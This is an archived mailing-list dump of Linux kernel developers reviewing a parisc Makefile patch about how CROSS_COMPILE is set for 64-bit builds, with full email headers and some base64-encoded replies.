	<rfc822;linux-next@vger.kernel.org>);
	Mon, 27 Feb 2012 11:32:54 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 226B08EE12E;
	Mon, 27 Feb 2012 08:32:54 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id M_9MrnXjEdVE; Mon, 27 Feb 2012 08:32:54 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id F13038EE0A3;
	Mon, 27 Feb 2012 08:32:52 -0800 (PST)
In-Reply-To: <4F4BA91D.7090303@windriver.com>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:20961 gmane.linux.ports.parisc:4196 gmane.linux.kernel:1258660
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/20961>

On Mon, 2012-02-27 at 11:02 -0500, Paul Gortmaker wrote:
> On 12-02-27 10:24 AM, James Bottomley wrote:
> > On Sun, 2012-02-26 at 15:51 -0500, Paul Gortmaker wrote:
> >> Upstream commit e66eed651fd18a961f11cda62f3b5286c8cc4f9f
> >>
> >>     "list: remove prefetching from regular list iterators"
> >>
> >> removed <linux/prefetch.h> from <linux/list.h> very early in the
> >> v3.0 dev cycle (v2.6.39-2-ge66eed6), thereby causing build failures
> >> when it exposed the implicit prefetch users in parisc.
> > 
> > I already have this in my internal patch queue:
> > 
> > http://marc.info/?l=linux-parisc&m=132825467010662
> 
> Is this in a different queue than what is in linux next?

Yes, sorry ... I hadn't got around to building the parisc tree for the
current version.  I've done that now.

> It would be nice to see such build fixes get into linux-next
> ASAP, so folks doing multi-arch coverage builds on their work
> can know if they've introduced a regression.  At the moment,
> the parisc builds in linux-next have been worthless for over
> six months, and I'm sure I'm not the 1st one to waste time
> "re-solving" old bugs like this.

So if you recheck with the next build of linux-next, they should all be
there (modulo the cross compile patch which is still under discussion).

James



From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: dont unconditionally override CROSS_COMPILE for
 64 bit.
Date: Mon, 27 Feb 2012 11:45:09 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <4F4BB315.6060501@bell.net>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com> <4F4B9DD2.6000600@bell.net> <4F4BAF16.9060507@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1330361099 10531 80.91.229.3 (27 Feb 2012 16:44:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 16:44:59 +0000 (UTC)
Cc: JBottomley@parallels.com, jejb@parisc-linux.org, kyle@mcmartin.ca,
	deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-next@vger.kernel.org
To: Paul Gortmaker <paul.gortmaker@windriver.com>
Original-X-From: linux-next-owner@vger.kernel.org Mon Feb 27 17:44:57 2012
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1S23h2-0007fr-Tp
	for glkn-linux-next@plane.gmane.org; Mon, 27 Feb 2012 17:44:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753938Ab2B0Qoz (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Mon, 27 Feb 2012 11:44:55 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:59456 "EHLO
	mail-02.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753654Ab2B0Qoy (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Mon, 27 Feb 2012 11:44:54 -0500
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-02.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1S23gu-0004kI-2z; Mon, 27 Feb 2012 11:44:49 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:10.0.2) Gecko/20120216 Thunderbird/10.0.2
In-Reply-To: <4F4BAF16.9060507@windriver.com>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:20962 gmane.linux.ports.parisc:4197 gmane.linux.kernel:1258664
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/20962>

On 2/27/2012 11:28 AM, Paul Gortmaker wrote:
> On 12-02-27 10:14 AM, John David Anglin wrote:
>> >  On 2/26/2012 6:26 PM, Paul Gortmaker wrote:
>>> >>  Using the 64 bit toolchains from kernel.org[1], one finds that
>>> >>  you can't build the a500_defconfig, because the Makefile will
>>> >>  stomp whatever value you have in your env. for CROSS_COMPILE.
>>> >>
>>> >>  This shows up since the kernel.org toolchains for parisc-64
>>> >>  do not have the "-gnu" prefix, and so you run into it always
>>> >>  saying hppa64-linux-gnu-gcc not found, regardless of the fact
>>> >>  you've not got "-gnu" put anywhere into CROSS_COMPILE.
>>> >>
>>> >>  [1]ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.5.2/
>>> >>
>>> >>  Signed-off-by: Paul Gortmaker<paul.gortmaker@windriver.com>
>>> >>
>>> >>  diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
>>> >>  index 55cca1d..cefff6d 100644
>>> >>  --- a/arch/parisc/Makefile
>>> >>  +++ b/arch/parisc/Makefile
>>> >>  @@ -31,7 +31,9 @@ ifdef CONFIG_64BIT
>>> >>     UTS_MACHINE	:= parisc64
>>> >>     CHECKFLAGS	+= -D__LP64__=1 -m64
>>> >>     WIDTH		:= 64
>>> >>  -CROSS_COMPILE	:= hppa64-linux-gnu-
>>> >>  +ifndef CROSS_COMPILE
>>> >>  + CROSS_COMPILE	:= hppa64-linux-gnu-
>>> >>  +endif
>>> >>     else # 32-bit
>>> >>     WIDTH		:=
>>> >>     endif
>> >  This change breaks native builds.  So, I assume CROSS_COMPILE must be
>> >  previously defined.
> You lost me here.  As in a native 32bit env. doing a build for the
> 64 bit case is setting CROSS_COMPILE?
>
Yes, native hppa is 32 bit .  Building a 64-bit kernel with CONFIG_64BIT 
causes the
setting of CROSS_COMPILE and the selection of hppa64-linux-gnu-gcc, etc.
If CROSS_COMPILE wasn't previously defined, your change wouldn't have have
affected the 64-bit build.

Dave

-- 
John David Anglin    dave.anglin@bell.net


From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE for 64 bit.
Date: Mon, 27 Feb 2012 15:59:19 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <1330376359-23731-1-git-send-email-paul.gortmaker@windriver.com>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1330376437 13369 80.91.229.3 (27 Feb 2012 21:00:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 21:00:37 +0000 (UTC)
Cc: vapier@gentoo.org, dave.anglin@bell.net,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-next@vger.kernel.org,
	Paul Gortmaker <paul.gortmaker@windriver.com>
To: JBottomley@parallels.com, jejb@parisc-linux.org, kyle@mcmartin.ca,
	deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Feb 27 22:00:33 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1S27gO-0003ks-Ca
	for glk-linux-kernel-3@plane.gmane.org; Mon, 27 Feb 2012 22:00:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755058Ab2B0VAR (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 27 Feb 2012 16:00:17 -0500
Original-Received: from mail.windriver.com ([147.11.1.11]:56696 "EHLO
	mail.windriver.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753610Ab2B0VAP (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 27 Feb 2012 16:00:15 -0500
Original-Received: from yow-pgortmak-d2.corp.ad.wrs.com (yow-pgortmak-d2.ottawa.windriver.com [128.224.146.165])
	by mail.windriver.com (8.14.3/8.14.3) with ESMTP id q1RKxcsm023896;
	Mon, 27 Feb 2012 12:59:38 -0800 (PST)
X-Mailer: git-send-email 1.7.9.1
In-Reply-To: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1258784 gmane.linux.ports.parisc:4198 gmane.linux.kernel.next:20967
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1258784>

Using the 64 bit toolchains from kernel.org[1], one finds that
you can't build the a500_defconfig, because the Makefile will
stomp whatever value you have in your env. for CROSS_COMPILE.

This shows up since the kernel.org toolchains for parisc-64
do not have the "-gnu" prefix, and so you run into it always
saying hppa64-linux-gnu-gcc not found, regardless of the fact
you've not got "-gnu" put anywhere into CROSS_COMPILE.

Since you can set CROSS_COMPILE from the environment and/or set
it in your .config file, there really is no need for it to be
poked at by the Makefile at all.  So just delete it.

[1] ftp://ftp.kernel.org/pub/tools/crosstool/files/bin/x86_64/4.5.2/

Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
---

[v2: no ifdef/endif -- just delete the offending line.]

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 55cca1d..a533367 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -31,7 +31,6 @@ ifdef CONFIG_64BIT
 UTS_MACHINE	:= parisc64
 CHECKFLAGS	+= -D__LP64__=1 -m64
 WIDTH		:= 64
-CROSS_COMPILE	:= hppa64-linux-gnu-
 else # 32-bit
 WIDTH		:=
 endif
-- 
1.7.9.1


From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <jbottomley@parallels.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.next
Subject: Re: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE
 for 64 bit.
Date: Mon, 27 Feb 2012 21:41:05 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <1330378864.2822.92.camel@dabdike.int.hansenpartnership.com>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com>
	 <1330376359-23731-1-git-send-email-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: dough.gmane.org 1330378883 540 80.91.229.3 (27 Feb 2012 21:41:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 21:41:23 +0000 (UTC)
Cc: "kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"deller@gmx.de" <deller@gmx.de>,
	"vapier@gentoo.org" <vapier@gentoo.org>,
	"dave.anglin@bell.net" <dave.anglin@bell.net>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-next@vger.kernel.org" <linux-next@vger.kernel.org>
To: Paul Gortmaker <paul.gortmaker@windriver.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 27 22:41:21 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S28Js-0001kt-0T
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 Feb 2012 22:41:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755017Ab2B0VlT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Feb 2012 16:41:19 -0500
Original-Received: from mx2.parallels.com ([64.131.90.16]:51774 "EHLO mx2.parallels.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754860Ab2B0VlS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Feb 2012 16:41:18 -0500
Original-Received: from [96.31.168.206] (helo=mail.parallels.com)
	by mx2.parallels.com with esmtps (TLSv1:AES128-SHA:128)
	(Exim 4.74)
	(envelope-from <jbottomley@parallels.com>)
	id 1S28Jg-00048w-0g; Mon, 27 Feb 2012 16:41:08 -0500
Original-Received: from US-EXCH1.sw.swsoft.com ([fe80::f4cb:ddbf:40fa:d379]) by
 US-EXCH1.sw.swsoft.com ([fe80::f4cb:ddbf:40fa:d379%10]) with mapi id
 14.02.0247.003; Mon, 27 Feb 2012 13:41:07 -0800
Thread-Topic: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE
 for 64 bit.
Thread-Index: AQHM9ZLLA74ijEZElUmnORY0ttBzN5ZRy/kA
In-Reply-To: <1330376359-23731-1-git-send-email-paul.gortmaker@windriver.com>
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [76.243.235.53]
Content-ID: <E90007C2EC5AB745A350BE376E5017D1@sw.swsoft.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4199 gmane.linux.kernel:1258822 gmane.linux.kernel.next:20972
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4199>

T24gTW9uLCAyMDEyLTAyLTI3IGF0IDE1OjU5IC0wNTAwLCBQYXVsIEdvcnRtYWtlciB3cm90ZToN
Cj4gVXNpbmcgdGhlIDY0IGJpdCB0b29sY2hhaW5zIGZyb20ga2VybmVsLm9yZ1sxXSwgb25lIGZp
bmRzIHRoYXQNCj4geW91IGNhbid0IGJ1aWxkIHRoZSBhNTAwX2RlZmNvbmZpZywgYmVjYXVzZSB0
aGUgTWFrZWZpbGUgd2lsbA0KPiBzdG9tcCB3aGF0ZXZlciB2YWx1ZSB5b3UgaGF2ZSBpbiB5b3Vy
IGVudi4gZm9yIENST1NTX0NPTVBJTEUuDQo+IA0KPiBUaGlzIHNob3dzIHVwIHNpbmNlIHRoZSBr
ZXJuZWwub3JnIHRvb2xjaGFpbnMgZm9yIHBhcmlzYy02NA0KPiBkbyBub3QgaGF2ZSB0aGUgIi1n
bnUiIHByZWZpeCwgYW5kIHNvIHlvdSBydW4gaW50byBpdCBhbHdheXMNCj4gc2F5aW5nIGhwcGE2
NC1saW51eC1nbnUtZ2NjIG5vdCBmb3VuZCwgcmVnYXJkbGVzcyBvZiB0aGUgZmFjdA0KPiB5b3Un
dmUgbm90IGdvdCAiLWdudSIgcHV0IGFueXdoZXJlIGludG8gQ1JPU1NfQ09NUElMRS4NCj4gDQo+
IFNpbmNlIHlvdSBjYW4gc2V0IENST1NTX0NPTVBJTEUgZnJvbSB0aGUgZW52aXJvbm1lbnQgYW5k
L29yIHNldA0KPiBpdCBpbiB5b3VyIC5jb25maWcgZmlsZSwgdGhlcmUgcmVhbGx5IGlzIG5vIG5l
ZWQgZm9yIGl0IHRvIGJlDQo+IHBva2VkIGF0IGJ5IHRoZSBNYWtlZmlsZSBhdCBhbGwuICBTbyBq
dXN0IGRlbGV0ZSBpdC4NCj4gDQo+IFsxXSBmdHA6Ly9mdHAua2VybmVsLm9yZy9wdWIvdG9vbHMv
Y3Jvc3N0b29sL2ZpbGVzL2Jpbi94ODZfNjQvNC41LjIvDQo+IA0KPiBTaWduZWQtb2ZmLWJ5OiBQ
YXVsIEdvcnRtYWtlciA8cGF1bC5nb3J0bWFrZXJAd2luZHJpdmVyLmNvbT4NCj4gLS0tDQo+IA0K
PiBbdjI6IG5vIGlmZGVmL2VuZGlmIC0tIGp1c3QgZGVsZXRlIHRoZSBvZmZlbmRpbmcgbGluZS5d
DQo+IA0KPiBkaWZmIC0tZ2l0IGEvYXJjaC9wYXJpc2MvTWFrZWZpbGUgYi9hcmNoL3BhcmlzYy9N
YWtlZmlsZQ0KPiBpbmRleCA1NWNjYTFkLi5hNTMzMzY3IDEwMDY0NA0KPiAtLS0gYS9hcmNoL3Bh
cmlzYy9NYWtlZmlsZQ0KPiArKysgYi9hcmNoL3BhcmlzYy9NYWtlZmlsZQ0KPiBAQCAtMzEsNyAr
MzEsNiBAQCBpZmRlZiBDT05GSUdfNjRCSVQNCj4gIFVUU19NQUNISU5FCTo9IHBhcmlzYzY0DQo+
ICBDSEVDS0ZMQUdTCSs9IC1EX19MUDY0X189MSAtbTY0DQo+ICBXSURUSAkJOj0gNjQNCj4gLUNS
T1NTX0NPTVBJTEUJOj0gaHBwYTY0LWxpbnV4LWdudS0NCj4gIGVsc2UgIyAzMi1iaXQNCj4gIFdJ
RFRICQk6PQ0KPiAgZW5kaWYNCg0KV2UgY2FuJ3QgZG8gdGhhdCAuLi4gaXQgY3Jhc2hlcyBhIHN0
YW5kYXJkIGJ1aWxkIGFsbW9zdCBpbW1lZGlhdGVseQ0KYmVjYXVzZSBpdCBkb2Vzbid0IHBpY2sg
dGhlIDY0IGJpdCBjb21waWxlciAoYW5kIHdlIGhhdmUgbm8gYmlhcmNoDQpzb2x1dGlvbikuDQoN
CldlIG5lZWQgbWFrZSBvbiBhIDY0IGJpdCBjb25maWcgdG8gd29yayBvdXQgb2YgdGhlIGJveC4g
IEl0IGJyZWFrcw0Kd2l0aCA/PSBhcyBKREEgcG9pbnRlZCBvdXQgYmVjYXVzZSBDUk9TU19DT01Q
SUxFIGlzIGFsd2F5cyBkZWZpbmVkLg0KRG9lcyB0aGlzIHNhdGlzZnkgZXZlcnlvbmU/DQoNCkph
bWVzDQoNCi0tLQ0KDQpkaWZmIC0tZ2l0IGEvYXJjaC9wYXJpc2MvTWFrZWZpbGUgYi9hcmNoL3Bh
cmlzYy9NYWtlZmlsZQ0KaW5kZXggNTVjY2ExZC4uMTlhYjdiMiAxMDA2NDQNCi0tLSBhL2FyY2gv
cGFyaXNjL01ha2VmaWxlDQorKysgYi9hcmNoL3BhcmlzYy9NYWtlZmlsZQ0KQEAgLTMxLDcgKzMx
LDExIEBAIGlmZGVmIENPTkZJR182NEJJVA0KIFVUU19NQUNISU5FCTo9IHBhcmlzYzY0DQogQ0hF
Q0tGTEFHUwkrPSAtRF9fTFA2NF9fPTEgLW02NA0KIFdJRFRICQk6PSA2NA0KKw0KKyMgRklYTUU6
IGlmIG5vIGRlZmF1bHQgc2V0LCBzaG91bGQgcmVhbGx5IHRyeSB0byBsb2NhdGUgZHluYW1pY2Fs
bHkNCitpZmVxICgkKENST1NTX0NPTVBJTEUpLCkNCiBDUk9TU19DT01QSUxFCTo9IGhwcGE2NC1s
aW51eC1nbnUtDQorZW5kaWYNCiBlbHNlICMgMzItYml0DQogV0lEVEgJCTo9DQogZW5kaWYNCg0K
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <jbottomley@parallels.com>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE
 for 64 bit.
Date: Mon, 27 Feb 2012 22:03:10 +0000
Lines: 61
Approved: news@gmane.org
Message-ID: <1330380189.2822.95.camel@dabdike.int.hansenpartnership.com>
References: <1330298813-17262-1-git-send-email-paul.gortmaker@windriver.com>
	 <1330376359-23731-1-git-send-email-paul.gortmaker@windriver.com>
	 <1330378864.2822.92.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: dough.gmane.org 1330380203 10555 80.91.229.3 (27 Feb 2012 22:03:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 27 Feb 2012 22:03:23 +0000 (UTC)
Cc: "kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"deller@gmx.de" <deller@gmx.de>,
	"vapier@gentoo.org" <vapier@gentoo.org>,
	"dave.anglin@bell.net" <dave.anglin@bell.net>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"linux-next@vger.kernel.org" <linux-next@vger.kernel.org>
To: Paul Gortmaker <paul.gortmaker@windriver.com>
Original-X-From: linux-next-owner@vger.kernel.org Mon Feb 27 23:03:21 2012
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1S28fA-0005ZZ-B3
	for glkn-linux-next@plane.gmane.org; Mon, 27 Feb 2012 23:03:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755708Ab2B0WDT (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Mon, 27 Feb 2012 17:03:19 -0500
Original-Received: from mx2.parallels.com ([64.131.90.16]:44223 "EHLO mx2.parallels.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755699Ab2B0WDS (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Mon, 27 Feb 2012 17:03:18 -0500
Original-Received: from [96.31.168.206] (helo=mail.parallels.com)
	by mx2.parallels.com with esmtps (TLSv1:AES128-SHA:128)
	(Exim 4.74)
	(envelope-from <jbottomley@parallels.com>)
	id 1S28f1-0004bX-Up; Mon, 27 Feb 2012 17:03:12 -0500
Original-Received: from US-EXCH1.sw.swsoft.com ([fe80::f4cb:ddbf:40fa:d379]) by
 US-EXCH1.sw.swsoft.com ([fe80::f4cb:ddbf:40fa:d379%10]) with mapi id
 14.02.0247.003; Mon, 27 Feb 2012 14:03:11 -0800
Thread-Topic: [PATCH v2] parisc: dont unconditionally override CROSS_COMPILE
 for 64 bit.
Thread-Index: AQHM9ZLLA74ijEZElUmnORY0ttBzN5ZRy/kAgAAGK4A=
In-Reply-To: <1330378864.2822.92.camel@dabdike.int.hansenpartnership.com>
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [76.243.235.53]
Content-ID: <496BC6AD6F19124DA3ABACE46EEAE210@sw.swsoft.com>
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:20974 gmane.linux.ports.parisc:4200 gmane.linux.kernel:1258826
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/20974>

T24gTW9uLCAyMDEyLTAyLTI3IGF0IDIxOjQxICswMDAwLCBKYW1lcyBCb3R0b21sZXkgd3JvdGU6
DQo+IE9uIE1vbiwgMjAxMi0wMi0yNyBhdCAxNTo1OSAtMDUwMCwgUGF1bCBHb3J0bWFrZXIgd3Jv
dGU6DQo+ID4gVXNpbmcgdGhlIDY0IGJpdCB0b29sY2hhaW5zIGZyb20ga2VybmVsLm9yZ1sxXSwg
b25lIGZpbmRzIHRoYXQNCj4gPiB5b3UgY2FuJ3QgYnVpbGQgdGhlIGE1MDBfZGVmY29uZmlnLCBi
ZWNhdXNlIHRoZSBNYWtlZmlsZSB3aWxsDQo+ID4gc3RvbXAgd2hhdGV2ZXIgdmFsdWUgeW91IGhh
dmUgaW4geW91ciBlbnYuIGZvciBDUk9TU19DT01QSUxFLg0KPiA+IA0KPiA+IFRoaXMgc2hvd3Mg
dXAgc2luY2UgdGhlIGtlcm5lbC5vcmcgdG9vbGNoYWlucyBmb3IgcGFyaXNjLTY0DQo+ID4gZG8g
bm90IGhhdmUgdGhlICItZ251IiBwcmVmaXgsIGFuZCBzbyB5b3UgcnVuIGludG8gaXQgYWx3YXlz
DQo+ID4gc2F5aW5nIGhwcGE2NC1saW51eC1nbnUtZ2NjIG5vdCBmb3VuZCwgcmVnYXJkbGVzcyBv
ZiB0aGUgZmFjdA0KPiA+IHlvdSd2ZSBub3QgZ290ICItZ251IiBwdXQgYW55d2hlcmUgaW50byBD
Uk9TU19DT01QSUxFLg0KPiA+IA0KPiA+IFNpbmNlIHlvdSBjYW4gc2V0IENST1NTX0NPTVBJTEUg
ZnJvbSB0aGUgZW52aXJvbm1lbnQgYW5kL29yIHNldA0KPiA+IGl0IGluIHlvdXIgLmNvbmZpZyBm
aWxlLCB0aGVyZSByZWFsbHkgaXMgbm8gbmVlZCBmb3IgaXQgdG8gYmUNCj4gPiBwb2tlZCBhdCBi
eSB0aGUgTWFrZWZpbGUgYXQgYWxsLiAgU28ganVzdCBkZWxldGUgaXQuDQo+ID4gDQo+ID4gWzFd
IGZ0cDovL2Z0cC5rZXJuZWwub3JnL3B1Yi90b29scy9jcm9zc3Rvb2wvZmlsZXMvYmluL3g4Nl82
NC80LjUuMi8NCj4gPiANCj4gPiBTaWduZWQtb2ZmLWJ5OiBQYXVsIEdvcnRtYWtlciA8cGF1bC5n
b3J0bWFrZXJAd2luZHJpdmVyLmNvbT4NCj4gPiAtLS0NCj4gPiANCj4gPiBbdjI6IG5vIGlmZGVm
L2VuZGlmIC0tIGp1c3QgZGVsZXRlIHRoZSBvZmZlbmRpbmcgbGluZS5dDQo+ID4gDQo+ID4gZGlm
ZiAtLWdpdCBhL2FyY2gvcGFyaXNjL01ha2VmaWxlIGIvYXJjaC9wYXJpc2MvTWFrZWZpbGUNCj4g
PiBpbmRleCA1NWNjYTFkLi5hNTMzMzY3IDEwMDY0NA0KPiA+IC0tLSBhL2FyY2gvcGFyaXNjL01h
a2VmaWxlDQo+ID4gKysrIGIvYXJjaC9wYXJpc2MvTWFrZWZpbGUNCj4gPiBAQCAtMzEsNyArMzEs
NiBAQCBpZmRlZiBDT05GSUdfNjRCSVQNCj4gPiAgVVRTX01BQ0hJTkUJOj0gcGFyaXNjNjQNCj4g
PiAgQ0hFQ0tGTEFHUwkrPSAtRF9fTFA2NF9fPTEgLW02NA0KPiA+ICBXSURUSAkJOj0gNjQNCj4g
PiAtQ1JPU1NfQ09NUElMRQk6PSBocHBhNjQtbGludXgtZ251LQ0KPiA+ICBlbHNlICMgMzItYml0
DQo+ID4gIFdJRFRICQk6PQ0KPiA+ICBlbmRpZg0KPiANCj4gV2UgY2FuJ3QgZG8gdGhhdCAuLi4g
aXQgY3Jhc2hlcyBhIHN0YW5kYXJkIGJ1aWxkIGFsbW9zdCBpbW1lZGlhdGVseQ0KPiBiZWNhdXNl
IGl0IGRvZXNuJ3QgcGljayB0aGUgNjQgYml0IGNvbXBpbGVyIChhbmQgd2UgaGF2ZSBubyBiaWFy
Y2gNCj4gc29sdXRpb24pLg0KPiANCj4gV2UgbmVlZCBtYWtlIG9uIGEgNjQgYml0IGNvbmZpZyB0
byB3b3JrIG91dCBvZiB0aGUgYm94LiAgSXQgYnJlYWtzDQo+IHdpdGggPz0gYXMgSkRBIHBvaW50
ZWQgb3V0IGJlY2F1c2UgQ1JPU1NfQ09NUElMRSBpcyBhbHdheXMgZGVmaW5lZC4NCj4gRG9lcyB0
aGlzIHNhdGlzZnkgZXZlcnlvbmU/DQo+IA0KPiBKYW1lcw0KPiANCj4gLS0tDQo+IA0KPiBkaWZm
